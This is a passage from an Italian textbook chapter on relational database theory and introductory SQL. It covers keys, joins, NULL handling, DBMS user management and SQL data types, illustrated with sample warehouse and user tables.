123	Viti e Bulloni	Via di sopra 7	0567,9875

Clienti			
CodCli	**Ditta**	**Indirizzo**	**Telefono**
925	Tendoni Max	Via di sotto 2	0113,44578
825	Arti Plus	Via di lato 45	0765,23456

La prima relazione, '`Articoli`', rappresenta l'anagrafica del magazzino di un grossista di ferramenta. Ogni articolo di magazzino viene codificato e descritto, inoltre vengono annotati i riferimenti ai codici di possibili fornitori. La seconda relazione, '`Movimenti`', elenca le operazioni di carico e di scarico degli articoli di magazzino, specificando solo il codice dell'articolo, la data, la quantità caricata o scaricata e il codice del fornitore o del cliente da cui è stato acquistato o a cui è stato venduto l'articolo. Infine seguono le relazioni che descrivono i codici dei fornitori e quelli dei clienti.

Si può intendere che una sola relazione non avrebbe potuto essere utilizzata utilmente per esprimere tutte queste informazioni.

È importante stabilire che, nel modello relazionale, il collegamento tra le tuple delle varie relazioni avviene attraverso dei valori e non attraverso dei puntatori. Infatti, nella relazione '`Articoli`' l'attributo '`Fornitore1`' contiene il valore 123 e questo significa solo che i dati di quel fornitore sono rappresentati da quel valore. Nella relazione '`Fornitori`', la tupla il cui attributo '`CodFor`' contiene il valore 123 è quella che contiene i dati di quel particolare fornitore. Quindi, «123» non rappresenta un puntatore, ma solo una tupla che contiene quel valore nell'attributo «giusto». In questo senso si ribadisce l'indifferenza della posizione delle tuple all'interno delle relazioni.

85.1.2.2 Tipi di dati, domini e informazioni mancanti

Nelle relazioni, ogni attributo contiene una singola informazione elementare di un certo tipo, per il quale esiste un dominio determinato di valori possibili. Ogni attributo di ogni tupla deve contenere un valore ammissibile, nell'ambito del proprio dominio.

Spesso capitano situazioni in cui i valori di uno o più attributi di una tupla non sono disponibili per qualche motivo. In tal caso si pone il problema di assegnare a questi attributi un valore che definisca in modo non ambiguo questo stato di indeterminatezza. Questo valore viene definito come '`NULL`' ed è ammissibile per tutti i tipi di attributi possibili.

85.1.2.3 Vincoli di validità

I dati contenuti in una o più relazioni sono utili in quanto «sensati» in base al contesto a cui si riferiscono. Per esempio, considerando la relazione '**`Movimenti`**', vista precedentemente, questa deve contenere sempre un codice valido nell'attributo '**`Codice`**'. Se così non fosse, la registrazione data da quella tupla che dovesse avere un riferimento a un codice di articolo non valido, non avrebbe alcun senso, perché mancherebbe proprio l'informazione più importante: l'articolo caricato o scaricato.

Il controllo sulla validità dei dati può avvenire a diversi livelli, a seconda della circostanza. Si possono distinguere vincoli che riguardano:

1. il dominio dell'attributo stesso -- quando si tratta di definire se l'attributo può assumere il valore '**`NULL`**' o meno e quando si stabilisce l'intervallo dei valori ammissibili;
2. gli altri attributi della stessa tupla -- quando dal valore contenuto in altri attributi della stessa tupla dipende l'intervallo dei valori ammissibili per l'attributo in questione;
3. gli attributi di altre tuple -- quando dal valore contenuto negli attributi delle altre tuple della stessa relazione dipende l'intervallo dei valori ammissibili per l'attributo in questione;
4. gli attributi di tuple di altre relazioni -- quando altre relazioni condizionano la validità di un attributo determinato.

I vincoli di tupla, ovvero quelli che riguardano i primi due punti dell'elenco appena indicato, sono i più semplici da esprimere perché non occorre conoscere altre informazioni esterne alla tupla stessa. Per esempio, un attributo che esprime un prezzo potrebbe essere definito in modo tale che non sia ammissibile un valore negativo; nello stesso modo, un attributo che esprime uno sconto su un prezzo potrebbe ammettere un valore positivo diverso da zero solo se il prezzo a cui si riferisce, contenuto nella stessa tupla, supera un valore determinato.

Il caso più importante di un vincolo interno alla relazione, che coinvolge più tuple, è quello che riguarda le ***chiavi***. In certe situazioni, un attributo, o un gruppo particolare di attributi di una relazione, deve essere unico per ogni tupla. Quindi, questo attributo, o questo gruppo di attributi, è valido solo quando non è già presente in un'altra tupla della stessa relazione.

Quando le informazioni sono distribuite fra più relazioni, i dati sono validi solo quando tutti i riferimenti sono validi. Volendo riprendere l'esempio della gestione di magazzino, visto precedentemente, una tupla della relazione '**`Movimenti`**' che dovesse contenere un codice di un fornitore o di un cliente inesistente, si troverebbe, in pratica, senza questa informazione.

85.1.2.4 Chiavi

Nella sezione precedente si è accennato alle ***chiavi***. Questo concetto merita un po' di attenzione. In precedenza è stato affermato che una relazione contiene una raccolta di tuple che contano per il loro contenuto e non per la loro posizione. In questo senso non è ammissibile una relazione contenente due tuple identiche. Una ***chiave*** di una relazione è un gruppo di attributi che permette di identificare univocamente le tuple in essa contenute; per questo, tali attributi devono contenere dati differenti per ogni tupla.

Stabilendo quali attributi devono costituire una chiave per una certa relazione, si comprende intuitivamente che questi attributi non possono mai contenere un valore indeterminato.

Nella definizione di relazioni collegate attraverso dei riferimenti, l'oggetto di questi riferimenti deve essere una chiave per la relazione di destinazione. Diversamente non si otterrebbe un riferimento univoco a una tupla particolare.

85.1.3 Gestione delle relazioni

Prima di affrontare l'utilizzo pratico di una base di dati relazionale, attraverso un linguaggio di manipolazione dei dati, è opportuno considerare a livello teorico alcuni tipi di operazioni che si possono eseguire con le relazioni.

Inizialmente è stato affermato che una relazione è un insieme di tuple... Dalla teoria degli insiemi derivano molte delle operazioni che riguardano le relazioni.

85.1.3.1 Unione, intersezione e differenza

Quando si maneggiano relazioni contenenti gli stessi attributi, hanno senso le operazioni fondamentali sugli insiemi: unione, intersezione e differenza. Il significato è evidente: l'unione genera una relazione composta da tutte le tuple distinte delle relazioni di origine; l'intersezione genera una relazione composta dalle tuple presenti simultaneamente in tutte le relazioni di origine; la differenza genera una relazione contenente le tuple che compaiono esclusivamente nella prima delle relazioni di origine.

L'esempio rappresentato dalle relazioni della figura 85.4 dovrebbe chiarire il senso di queste affermazioni.

Figura 85.4. Unione, intersezione e differenza tra relazioni.

Laureati		
Codice	**Nominativo**	**...**
1245	Tizi Tizio	...
1745	Cai Caio	...
1655	Semproni Sempronio	...

Magazzinieri		
Codice	**Nominativo**	**...**
1745	Cai Caio	...
1986	Pallino Pinco	...
1245	Tizi Tizio	...

Laureati UNITO Magazzinieri		
Codice	**Nominativo**	**...**
1245	Tizi Tizio	...
1745	Cai Caio	...
1655	Semproni Sempronio	...
1986	Pallino Pinco	...

Laureati INTERSECATO Magazzinieri		
Codice	**Nominativo**	**...**
1245	Tizi Tizio	...
1745	Cai Caio	...

Laureati MENO Magazzinieri		
Codice	**Nominativo**	**...**
1655	Semproni Sempronio	...

85.1.3.2 Ridenominazione degli attributi

L'elaborazione dei dati contenuti in una relazione può avvenire previa modifica dei nomi di alcuni attributi. La modifica dei nomi genera di fatto una nuova relazione temporanea, per il tempo necessario a eseguire l'elaborazione conclusiva.

Le situazioni in cui la ridenominazione degli attributi può essere conveniente possono essere varie. Nel caso delle operazioni sugli insiemi visti nella sezione precedente, la ridenominazione può rendere compatibili relazioni i cui attributi, pur essendo compatibili, hanno nomi differenti.

85.1.3.3 Selezione, proiezione e congiunzione

La ***selezione*** e la ***proiezione*** sono operazioni che si eseguono su una sola relazione e generano una relazione che contiene una porzione dei dati di quella di origine. La selezione permette di estrarre alcune tuple dalla relazione, mentre la proiezione estrae parte degli attributi di tutte le tuple. Il primo caso, quello della selezione, non richiede considerazioni particolari, mentre la proiezione ha delle implicazioni importanti.

Attraverso la proiezione, utilizzando solo parte degli attributi, si genera una relazione in cui si potrebbero perdere delle tuple, a causa della possibilità che risultino dei doppioni. Per esempio, si consideri la relazione mostrata nella figura 85.5.

Figura 85.5. Relazione '`Utenti (UID, Nominativo, Cognome, Nome, Ufficio)`'.

Utenti				
UID	**Nominativo**	**Cognome**	**Nome**	**Ufficio**
0	root	Pallino	Pinco	CED
515	rmario	Rossi	Mario	Contabilità
501	bbianco	Bianchi	Bianco	Magazzino
502	rrosso	Rossi	Rosso	Contabilità

La figura mostra una relazione contenente le informazioni sugli utenti di un centro di elaborazione dati. Si può osservare che sia l'attributo '`UID`', sia l'attributo '`Nominativo`', possono essere da soli una chiave per la relazione. Se da questa relazione si vuole ottenere una proiezione contenente solo gli attributi '`Cognome`' e '`Ufficio`', non essendo questi due una chiave della relazione, si perdono delle tuple.

Figura 85.6. Proiezione degli attributi '`Cognome`' e '`Ufficio`' della relazione '`Utenti`'.

Cognome	**Ufficio**
Pallino	CED
Rossi	Contabilità
Bianchi	Magazzino

La figura 85.6 mostra la proiezione della relazione '`Utenti`', in cui sono stati estratti solo gli attributi '`Cognome`' e '`Ufficio`'. In tal modo, le tuple che prima corrispondevano al numero '`UID`' 515 e 502 si sono ridotte a una sola, quella contenente il cognome «Rossi» e l'ufficio «Contabilità».

Da questo esempio si dovrebbe intendere che la proiezione ha senso, prevalentemente, quando gli attributi estratti costituiscono una chiave della relazione originaria

La ***congiunzione*** di relazioni, o *join*, è un'operazione in cui due o più relazioni vengono unite a formare una nuova relazione. Questo congiungimento implica la creazione di tuple formate dall'unione di tuple provenienti dalle relazioni di origine. Se per semplicità si pensa solo alla congiunzione di due relazioni: si va da una congiunzione minima in cui nessuna tupla della prima relazione risulta abbinata ad altre tuple della seconda, fino a un massimo in cui si ottengono tutti gli abbinamenti possibili delle tuple della prima relazione con quelle della seconda. Tra questi estremi si pone la situazione tipica, quella in cui ogni tupla della prima relazione viene collegata solo a una tupla corrispondente della seconda.

La ***congiunzione naturale*** si ottiene quando le relazioni oggetto di tale operazione vengono collegate in base ad attributi aventi lo stesso nome. Per osservare di cosa si tratta, vale la pena di riprendere l'esempio della gestione di magazzino già descritto in precedenza. Nella figura 85.7 ne viene mostrata nuovamente solo una parte.

Figura 85.7. Le relazioni '**`Articoli`**' e '**`Movimenti`**' dell'esempio sulla gestione del magazzino.

Articoli		
Codice	**Descrizione**	**...**
vite30	Vite 3 mm	...
vite40	Vite 4 mm	...
dado30	Dado 3 mm	...
dado40	Dado 4 mm	...
rond50	Rondella 5 mm	...

Movimenti				
Codice	**Data**	**Carico**	**Scarico**	**...**
vite40	01/01/2010	1200		...
vite30	01/01/2010		800	...
vite30	02/01/2010	1000		...
vite30	03/01/2010	2000		...
rond50	03/01/2010		500	...

La congiunzione naturale delle relazioni '**`Movimenti`**' e '**`Articoli`**', basata sulla coincidenza del contenuto dell'attributo '**`Codice`**', genera una relazione in cui appaiono tutti gli attributi delle due relazioni di origine, con l'eccezione dell'attributo '**`Codice`**' che appare una volta sola (figura 85.8).

Tabella 85.8. Il join naturale tra le relazioni '**`Movimenti`**' e '**`Articoli`**'.

Codice	**Data**	**Carico**	**Scarico**	**...**	**Descrizione**	**...**
vite40	01/01/2010	1200		...	Vite 4 mm	...
vite30	01/01/2010		800	...	Vite 3 mm	...
vite30	02/01/2010	1000		...	Vite 3 mm	...
vite30	03/01/2010	2000		...	Vite 3 mm	...
rond50	03/01/2010		500	...	Rondella 5 mm	...

Nel caso migliore, ogni tupla di una relazione trova una tupla corrispondente dell'altra; nel caso peggiore, nessuna tupla ha una corrispondente nell'altra relazione. L'esempio mostra che tutte le tuple della relazione '**`Movimenti`**' hanno trovato una corrispondenza nella relazione '**`Articoli`**', mentre solo alcune tuple della relazione '**`Articoli`**' hanno una corrispondenza dall'altra parte. Queste tuple, quelle che non hanno una corrispondenza, sono dette «penzolanti», o *dangling*, e di fatto vengono perdute dopo la congiunzione.

Quando una congiunzione genera corrispondenze per tutte le tuple delle relazioni coinvolte, si parla di congiunzione completa. La dimensione (espressa in quantità di tuple) della relazione risultante in presenza di una congiunzione completa è pari alla dimensione massima delle varie relazioni.

Quando si vuole eseguire la congiunzione di relazioni che non hanno attributi in comune si ottiene il collegamento di ogni tupla di una relazione con ogni tupla delle altre. Si può osservare l'esempio della figura 85.9 che riprende il solito problema del magazzino, con delle semplificazioni opportune.

Figura 85.9. Le relazioni '**`Articoli`**' e '**`Fornitori`**' dell'esempio sulla gestione del magazzino.

Articoli			
Codice	**Descrizione**	**Fornitore1**	**...**
vite30	Vite 3 mm	127	...
vite40	Vite 4 mm	127	...
dado30	Dado 3 mm	122	...

Fornitori		
CodFor	**Ditta**	**...**
127	Vitoni spa	...
122	Ferroni spa	...

Nessuno degli attributi delle due relazioni coincide, quindi si ottiene un «prodotto» tra le due relazioni, in pratica, una relazione che contiene il prodotto delle tuple contenute nelle relazioni originali (figura 85.10).

Figura 85.10. Il prodotto tra le relazioni '**`Articoli`**' e '**`Fornitori`**'.

Codice	**Descrizione**	**Fornitore1**	**...**	**CodFor**	**Ditta**	**...**
vite30	Vite 3 mm	127	...	127	Vitoni spa	...
vite40	Vite 4 mm	127	...	127	Vitoni spa	...
dado30	Dado 3 mm	122	...	127	Vitoni spa	...
vite30	Vite 3 mm	127	...	122	Ferroni spa	...
vite40	Vite 4 mm	127	...	122	Ferroni spa	...
dado30	Dado 3 mm	122	...	122	Ferroni spa	...

Quando si esegue un'operazione del genere, è normale che molte delle tuple risultanti siano prive di significato per gli scopi che ci si prefigge. Di conseguenza, quasi sempre, si applica poi una selezione attraverso delle condizioni. Nel caso dell'esempio, sarebbe ragionevole porre come condizione di selezione l'uguaglianza tra i valori dell'attributo '`Fornitore1`' e '`CodFor`'.

Figura 85.11. La selezione delle tuple che rispettano la condizione di uguaglianza tra gli attributi '`Fornitore1`' e '`CodFor`'.

Codice	Descrizione	Fornitore1	...	CodFor	Ditta	...
vite30	Vite 3 mm	127	...	127	Vitoni spa	...
vite40	Vite 4 mm	127	...	127	Vitoni spa	...
dado30	Dado 3 mm	122	...	122	Ferroni spa	...

Generalmente, nella pratica, non esiste la possibilità di definire una congiunzione basato sull'uguaglianza dei nomi degli attributi. Di solito si esegue una congiunzione che genera un prodotto tra le relazioni, quindi si applicano delle condizioni di selezione come nell'esempio mostrato. Quando la selezione in questione è del tipo visto nell'esempio, cioè basata sull'uguaglianza del contenuto di attributi delle diverse relazioni (anche se il nome di questi attributi è differente), si parla di ***equi-giunzione*** (*equi-join*).

85.1.3.4 Gestione dei valori nulli

Si è accennato in precedenza alla possibilità che gli attributi di una relazione possano contenere anche il valore indeterminato, o '`NULL`'. Con questo valore indeterminato non si possono fare comparazioni con valori determinati e di solito nemmeno con altri valori indeterminati. Per esempio, non si può dire che '`NULL`' sia maggiore o minore di qualcosa; una comparazione di questo tipo genera solo un risultato indeterminato. '`NULL`' è solo uguale a se stesso ed è diverso da ogni altro valore, compreso un altro valore '`NULL`'.

Per verificare la presenza o l'assenza di un valore indeterminato si utilizzano generalmente operatori specifici, come in SQL:

- '`IS NULL`' -- che si avvera quando il valore controllato è indeterminato;
- '`IS NOT NULL`' -- che si avvera quando il valore controllato è determinato, quindi diverso da indeterminato.

Nel momento in cui si eseguono delle espressioni logiche, utilizzando i soliti operatori AND, OR e NOT, si pone il problema di stabilire cosa accade quando si presentano valori indeterminati. La soluzione è intuitiva: quando non si può fare a meno di conoscere il valore che si presenta come indeterminato, il risultato è indeterminato. Questo concetto deriva dalla cosiddetta logica *fuzzy*.

Figura 85.12. Tabella della verità degli operatori AND e OR quando sono coinvolti valori indefiniti.

```
? AND ? = ?     ? OR ? = ?
? AND F = F     ? OR F = ?
? AND T = ?     ? OR T = T
F AND ? = F     F OR ? = ?
F AND F = F     F OR F = F
F AND T = F     F OR T = T
T AND ? = ?     T OR ? = T
T AND F = F     T OR F = T
T AND T = T     T OR T = T
```

85.1.3.5 Relazioni derivate e viste

Precedentemente si è accennato al fatto che la rappresentazione finale dei dati può essere diversa da quella logica. Nel modello relazionale è possibile ottenere delle relazioni derivate da altre, attraverso una funzione determinata che stabilisce il modo con cui ottenere queste derivazioni. Si distingue fondamentalmente tra:

- relazioni derivate virtuali, o ***viste***, che non generano nuove relazioni memorizzate nella base di dati, il cui contenuto viene generato al volo al momento della necessità;
- relazioni derivate materializzate, che generano una nuova relazione nella base di dati.

Il primo dei due casi è semplice da gestire, perché i dati sono sempre allineati correttamente, ma è pesante dal punto di vista elaborativo; il secondo ha invece i pregi e i difetti opposti. Con il termine «vista» si intende fare riferimento alle relazioni derivate virtuali.

85.2 Questioni organizzative generali dei DBMS comuni

Dopo la teoria astratta, l'organizzazione di un DBMS richiede una realizzazione pratica, che implica delle scelte. In questa sezione si descrivono alcune questioni «pratiche» che è bene conoscere inizialmente, prima di affrontare lo studio di un DBMS specifico.

85.2.1 Configurazione e basi di dati amministrative

Un DBMS, per funzionare, deve poter annotare l'esistenza e i contenuti delle proprie basi di dati, così come l'esistenza e i privilegi dei propri utenti. Per conservare queste informazioni, può gestire dei file di configurazione, oppure, più spesso, impiegare una o più basi di dati amministrative, la cui gestione avviene in modo quasi trasparente.

La presenza di queste basi di dati amministrative implica il fatto che non possano esserne create delle altre con gli stessi nomi, ma ci sono naturalmente anche altre implicazioni più importanti.

Quando si installa il software di gestione del DBMS per la prima volta, è necessario provvedere a costruire le basi di dati amministrative, oltre che, eventualmente, a sistemare altri file di configurazione. Per questo, di solito il software del DBMS include un programma che predispone tali basi di dati speciali con una configurazione iniziale predefinita.

Quando si aggiorna il software di gestione del DBMS, si ha generalmente la necessità di conservare i dati preesistenti. Questo significa preservare le basi di dati che sono state create e le

informazioni sulle utenze, con i privilegi rispettivi. Il problema sta nel fatto che il software aggiornato potrebbe avere un'organizzazione differente nel modo di gestire i file che contengono le informazioni sulle basi di dati, pertanto è poi necessario provvedere a una conversione, con l'ausilio di strumenti realizzati appositamente per quel DBMS. Naturalmente, per evitare circoli viziosi, un software aggiornato dovrebbe essere in grado di accedere a basi di dati di qualche versione precedente.

Generalmente, prima di un aggiornamento del software di gestione del DBMS, si consiglia di eseguire una copia dei dati in una forma indipendente dalla versione, che può essere acquisita successivamente, dopo l'aggiornamento; tuttavia, rimane il problema delle basi di dati amministrative: se dovesse fallire la procedura di aggiornamento automatica, si renderebbe necessaria, nuovamente, la creazione delle basi di dati (vuote) e delle utenze.

85.2.2 Copie di sicurezza delle basi di dati

Generalmente, le copie di sicurezza del contenuto di una basi di dati, si fanno in modo di generare del codice SQL, contenente le istruzioni per la creazione delle relazioni e per l'inserimento delle tuple. Questo viene ottenuto tramite programmi o script del software del DBMS e il codice che si ottiene è specifico di quel tipo di DBMS, perciò non è universale.

Ci possono essere dei DBMS che consentono l'acquisizione di dati molto complessi in un solo attributo (dove per «attributo» si intende una cella di una riga di una tabella), ma poi, questi dati non possono essere rappresentati in modo testuale in un codice SQL. In tali casi, l'archiviazione in forma di codice SQL si deve limitare ai dati consueti, ignorando il resto; pertanto si devono usare formati differenti per l'archiviazione completa dei dati.

85.2.3 Comunicazione con il DBMS e accesso alle basi di dati

I programmi accedono alle basi di dati attraverso un protocollo di comunicazione con il DBMS. Il protocollo in questione dipende dal DBMS, ma generalmente consente di trasportare delle istruzioni SQL.

Nei sistemi Unix, la comunicazione con il DBMS avviene tipicamente attraverso socket di dominio Unix, per le comunicazioni locali, e socket di dominio Internet per quelle remote. Pertanto, il DBMS deve disporre di un demone in attesa di dati da un file di tipo *socket* e in ascolto di una porta TCP o UDP (di solito si tratta del protocollo TCP).

Naturalmente, per consentire l'accesso alle basi di dati, il DBMS deve avere un modo per «riconoscere» chi vuole accedere.

> Un DBMS che consente esclusivamente collegamenti di tipo locale, avrebbe la possibilità di individuare gli accessi in base al numero UID associato al processo elaborativo del programma che tenta il contatto. In questo caso particolare, il riconoscimento delle utenze può essere demandata al sistema operativo.

85.2.4 Utenze e privilegi

Le utenze di un DBMS servono a distinguere le competenze al suo interno. Generalmente si distingue la presenza di un amministratore con poteri illimitati nell'ambito della gestione complessiva del DBMS e di conseguenza di ogni base di dati. Il nome, dal punto del DBMS, di questo amministratore, non è standardizzato. A titolo di esempio, nel caso di PostgreSQL si tratta normalmente dell'utente '**`postgres`**', mentre con MySQL si usa il nome '**`root`**'.

Generalmente, il DBMS riconosce gli utenti attraverso una parola d'ordine, che deve essere fornita all'inizio di ogni collegamento; tuttavia, dovrebbe esistere anche la possibilità di definire utenze senza parola d'ordine (sulla fiducia), oppure dovrebbe essere possibile definire dei contesti per cui l'accesso non debba richiedere questa formalità.

Il problema di evitare l'obbligo di inserire la parola d'ordine si sente in particolare proprio per l'accesso in qualità di amministratore, quando si vogliono realizzare degli script per svolgere certe funzioni amministrative. Le forme di raggiro dipendono dalle caratteristiche del DBMS.

Quando il DBMS è in grado di riconoscere un accesso locale, in quanto proveniente da un utente che ha lo stesso nome usato nell'ambito del sistema operativo, potrebbe accettarlo senza richiesta di una parola d'ordine, perché in sostanza l'autenticazione è già avvenuta. Questo meccanismo viene usato in particolare con PostgreSQL, dove l'utente '**`postgres`**' viene aggiunto anche nel file '`/etc/passwd`'; in tal modo, ammesso che la configurazione di PostgreSQL lo consenta, l'utente '**`root`**' del sistema operativo può impersonare facilmente l'utente '**`postgres`**', attraverso il comando '**`su`**', quindi può accedere localmente al DBMS venendo riconosciuto implicitamente.

Quando non c'è la possibilità di sfruttare il sistema operativo per il riconoscimento dell'utente in modo implicito, si può arrivare ad annotare la parola d'ordine (in chiaro) in un file che solo l'utente '**`root`**' del sistema operativo può leggere, così che uno script con i privilegi necessari possa leggere questa parola d'ordine, usarla per collegarsi al DBMS e svolgere il suo compito.

Generalmente, le utenze vengono considerate nel DBMS soltanto come nominativi puri e semplici, senza distinguerne la provenienza. Il DBMS potrebbe disporre di una configurazione ulteriore in cui si specifica il metodo di riconoscimento richiesto, in base alla provenienza degli accessi (PostgreSQL), oppure potrebbe arrivare a considerare le utenze come l'unione del nome al nodo di origine, come se si trattasse di utenti distinti. Questo secondo caso riguarda in particolare MySQL e vale la pena di considerarlo con attenzione, perché si possono creare degli equivoci; infatti, se un'utenza è abbinata all'origine '**`localhost`**' e tale utente accede sì dall'elaboratore locale (come indica convenzionalmente il nome '**`localhost`**'), ma il file '`/etc/hosts`' non abbina correttamente l'indirizzo locale a tale nome, l'accesso fallisce; inoltre, se l'utenza fosse abbinata all'origine '**`127.0.0.1`**' e l'utente cercasse di accedere localmente, potrebbe succedergli di non essere riconosciuto se il sistema operativo traduce poi l'indirizzo nel nome.

Per quanto riguarda la gestione delle utenze, c'è da considerare che esistono anche dei DBMS semplificati che, concedendo esclusivamente accessi locali, invece di gestire le utenze in proprio si affidano alla gestione del sistema operativo. In questi casi, i permessi di accesso alle basi di dati vengono regolati tramite la gestione dei permessi corrispondenti ai file che rappresentano le basi di dati stesse.

85.2.5 ODBC

ODBC, ovvero *Open database connectivity* è un metodo standardizzato per l'accesso ai DBMS. In pratica, si inserisce un servizio intermedio, tra i DBMS e le applicazioni che devono accedere ai dati: le applicazioni comunicano con il servizio ODBC; il servizio ODBC comunica con i DBMS sottostanti, preoccupandosi di adattarsi alle loro particolarità. In questo modo, invece di scrivere applicazioni che comunicano solo con un certo DBMS, le applicazioni fatte per ODBC, possono utilizzare qualsiasi DBMS che il servizio ODBC è in grado di gestire.

85.3 Introduzione a SQL

SQL è l'acronimo di *Structured query language* e identifica un linguaggio di interrogazione (gestione) per basi di dati relazionali. Le sue origini risalgono alla fine degli anni 1970 e questo giustifica la sua sintassi prolissa e verbale tipica dei linguaggi dell'epoca, come il COBOL.

Allo stato attuale, data la sua evoluzione e standardizzazione, l'SQL rappresenta un riferimento fondamentale per la gestione di una base di dati relazionale.

A parte il significato originale dell'acronimo, SQL è un linguaggio completo per la gestione di una base di dati relazionale, includendo le funzionalità di un DDL (*Data definition language*), di un DML (*Data manipulation language*) e di un DCL (*Data control language*).

Data l'età e la conseguente evoluzione di questo linguaggio, si sono definiti nel tempo diversi livelli di standard. I più importanti sono SQL89, SQL92 e SQL99, noti anche come SQL1, SQL2 e SQL3 rispettivamente.

L'aderenza dei vari sistemi DBMS allo standard SQL92 non è mai completa e perfetta, per questo sono stati definiti dei sottolivelli di questo standard per definire il grado di compatibilità di un DBMS. Si tratta di: *entry SQL*, *intermediate SQL* e *full SQL*. Si può intendere che il primo sia il livello di compatibilità minima e l'ultimo rappresenti la compatibilità totale. Lo standard di fatto è rappresentato prevalentemente dal primo livello, che coincide fondamentalmente con lo standard precedente, SQL89. Da questo si comprende che lo stato di assimilazione di SQL99 è ancora più arretrato.

85.3.1 Concetti fondamentali

Convenzionalmente, le istruzioni di questo linguaggio sono scritte con tutte le lettere maiuscole. Si tratta solo di una tradizione di quell'epoca. SQL non distingue tra lettere minuscole e maiuscole nelle parole chiave delle istruzioni e nemmeno nei nomi di relazioni, attributi e altri oggetti. Solo quando si tratta di definire il contenuto di una variabile, allora le differenze contano.

In questo capitolo e nel resto del documento, quando si fa riferimento a istruzioni SQL, queste vengono indicate utilizzando solo lettere maiuscole, come richiede la tradizione.

I nomi degli oggetti (relazioni e altro) possono essere composti utilizzando lettere, numeri e il trattino basso; il primo carattere deve essere una lettera oppure il trattino basso.

Le istruzioni SQL possono essere distribuite su più righe, senza una regola precisa. Si distingue la fine di un'istruzione dall'inizio di un'altra attraverso la presenza di almeno una riga vuota. Generalmente, i sistemi SQL richiedono l'uso di un simbolo di terminazione delle righe, che di norma è costituito dal punto e virgola.

L'SQL standard prevede la possibilità di inserire commenti; per questo si può usare un trattino doppio ('--') seguito dal commento desiderato, fino alla fine della riga. Tuttavia, si osservi che per ottenere la massima compatibilità con i DBMS esistenti, conviene lasciare almeno uno spazio dopo il trattino doppio, prima di inserire il commento vero e proprio.

85.3.2 Terminologia

Il linguaggio SQL utilizza una propria terminologia per distinguere gli «oggetti» che manipola. Per la precisione, si utilizzano normalmente i termini «tabella», «riga» e «colonna», al posto di «relazione», «tupla» e «attributo».

Esistono delle buone ragioni per utilizzare una terminologia differente nel linguaggio SQL, soprattutto in considerazione del fatto che in questo caso sono ammissibili situazioni che nella teoria generale delle basi di dati relazionali non lo sarebbero (per esempio la possibilità di avere tuple doppie). Tuttavia, si osservi che in questo documento si cerca di mantenere una certa uniformità nei termini, seguendo la tradizione della teoria delle basi di dati, anche a costo di rischiare una contraddizione con questa.

Specchietto 85.13. Associazione tra i termini relativi alla gestione delle basi di dati. Ogni riga dello specchietto, rappresenta un contesto differente, mentre le colonne individuano la traduzione dei termini in base al contesto.

classi	istanze	attributi	tipi di dati contenibili negli attributi
relazioni	tuple	attributi	domini
tabelle	righe	colonne	tipi di dati contenibili nelle colonne

85.4 DDL

DDL, ovvero *Data definition language*, è il linguaggio usato per definire la struttura dei dati (in una base di dati). In questa sezione viene trattato il linguaggio SQL per ciò che riguarda specificatamente i dati, la loro creazione e la loro distruzione.

85.4.1 Tipi di dati

I tipi di dati gestibili con il linguaggio SQL sono molti. Fondamentalmente si possono distinguere tipi contenenti: valori numerici, stringhe e informazioni data-orario. Nelle sezioni seguenti vengono descritti solo alcuni dei tipi definiti dallo standard.

85.4.1.1 Stringhe di caratteri

Si distinguono due tipi di stringhe di caratteri in SQL: quelle a dimensione fissa, completate a destra dal carattere spazio, e quelle a dimensione variabile.

Sintassi	Descrizione
CHARACTER CHARACTER(***dimensione***) CHAR CHAR(***dimensione***)	Queste sono le varie sintassi alternative che possono essere utilizzate per definire una stringa di dimensione fissa. Se non viene indicata la dimensione tra parentesi, si intende una stringa di un solo carattere.
CHARACTER VARYING(***dimensione***) CHAR VARYING(***dimensione***) VARCHAR(***dimensione***)	Una stringa di dimensione variabile può essere definita attraverso uno dei tre modi appena elencati. È necessario specificare la dimensione massima che questa stringa può avere. Il minimo è rappresentato dalla stringa nulla.

Le costanti stringa si esprimono delimitandole attraverso apici singoli, oppure apici doppi, come nell'esempio seguente:

```
'Questa è una stringa letterale per SQL'
"Anche questa è una stringa letterale per SQL"
```

Non tutti i sistemi SQL accettano entrambi i tipi di delimitatori di stringa. In caso di dubbio è bene limitarsi all'uso degli apici singoli; eventualmente, per inserire un apice singolo in una stringa delimitata con apici singoli, dovrebbe essere sufficiente il suo raddoppio. In pratica, per scrivere una stringa del tipo «l'albero», dovrebbe essere possibile scrivere:

```
'l''albero'
```

85.4.1.2 Valori numerici

I tipi numerici si distinguono in ***esatti*** e ***approssimati***, intendendo con la prima definizione quelli di cui si conosce il numero massimo di cifre numeriche intere e decimali, mentre con la seconda si fa riferimento ai tipi a virgola mobile. In ogni caso, le dimensioni massime o la precisione massima che possono avere tali valori dipende dal sistema in cui vengono utilizzati.

Sintassi	Descrizione
NUMERIC NUMERIC(***precisione*** [,***scala***])	Il tipo '**NUMERIC**' permette di definire un valore numerico composto da un massimo di tante cifre numeriche quante indicate dalla precisione, cioè il primo argomento tra parentesi. Se viene specificata anche la scala, si intende riservare quella parte di cifre per quanto appare dopo la virgola. Per esempio, con '**NUMERIC(5,2)**' si possono rappresentare valori da +999,99 a −999,99. Se non viene specificata la scala, si intende che si tratti solo di valori interi; se non viene specificata nemmeno la precisione, viene usata la definizione predefinita per questo tipo di dati, che dipende dalle caratteristiche del DBMS.
DECIMAL DECIMAL(***precisione*** [,***scala***]) DEC DEC(***precisione*** [,***scala***])	Il tipo '**DECIMAL**' è simile al tipo '**NUMERIC**', con la differenza che le caratteristiche della precisione e della scala rappresentano le esigenze minime, mentre il sistema può fornire una rappresentazione con precisione o scala maggiore.

Sintassi	Descrizione

`INTEGER`
 	
`INT`
 	
`SMALLINT`
	I tipi '**`INTEGER`**' e '**`SMALLINT`**' rappresentano tipi interi la cui dimensione dipende generalmente dalle caratteristiche del sistema operativo e dall'hardware utilizzato. L'unico riferimento sicuro è che il tipo '**`SMALLINT`**' permette di rappresentare interi con una dimensione inferiore o uguale al tipo '**`INTEGER`**'.

`FLOAT`
 	
`FLOAT(`***precisione***`)`
	Il tipo '**`FLOAT`**' definisce un tipo numerico approssimato (a virgola mobile) con una precisione binaria pari o superiore di quella indicata tra parentesi (se non viene indicata, dipende dal sistema).

`REAL`
 	
`DOUBLE PRECISION`
	Il tipo '**`REAL`**' e il tipo '**`DOUBLE PRECISION`**' sono due tipi a virgola mobile con una precisione prestabilita. Questa precisione dipende dal sistema, ma in generale, il secondo dei due tipi deve essere più preciso dell'altro.

I valori numerici costanti vengono espressi attraverso la semplice indicazione del numero senza delimitatori. La virgola di separazione della parte intera da quella decimale si esprime normalmente attraverso il punto ('`.`'), a meno che sia prevista una forma di adattamento alle caratteristiche di configurazione locale.

85.4.1.3 Valori Data-orario

